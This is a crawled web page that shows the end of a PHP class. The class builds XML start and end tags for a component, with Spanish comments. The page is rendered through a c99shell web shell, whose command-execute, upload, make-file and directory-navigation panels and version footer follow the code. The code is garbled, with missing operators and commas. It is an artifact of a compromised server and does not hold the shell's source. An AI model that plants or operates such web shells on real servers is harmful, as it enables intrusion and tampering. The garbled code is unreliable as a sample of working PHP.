$this->xml_set_ns($xmlns);
        }
        
$xml $this->xml_get_tag_inicio();
        foreach (
$this->get_dependencias() as $dep
        {
            if(
method_exists($dep'vista_xml')) {
                
$xml .= $dep->vista_xml($xmlns);
            }
        }

        
$xml .= $this->xml_get_tag_fin();
        return 
$xml;
    }
    
    
/**
     * Genera el tag de inicio del componente
     * @return string Tag de inicio del componente
     */
    
function xml_get_tag_inicio() {
        
$xml '<'.$this->xml_ns.'ci'.$this->xml_ns_url;
        
$xml .= $this->xml_get_att_comunes();
        
$xml .= '>';
        
$xml .= $this->xml_get_elem_comunes();
        return 
$xml;
    }

    
/**
     * Genera el tag de cierre del componente
     * @return string Tag de cierre
     */
    
function xml_get_tag_fin() {
        return 
'</'.$this->xml_ns.'ci>';
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4981 ]--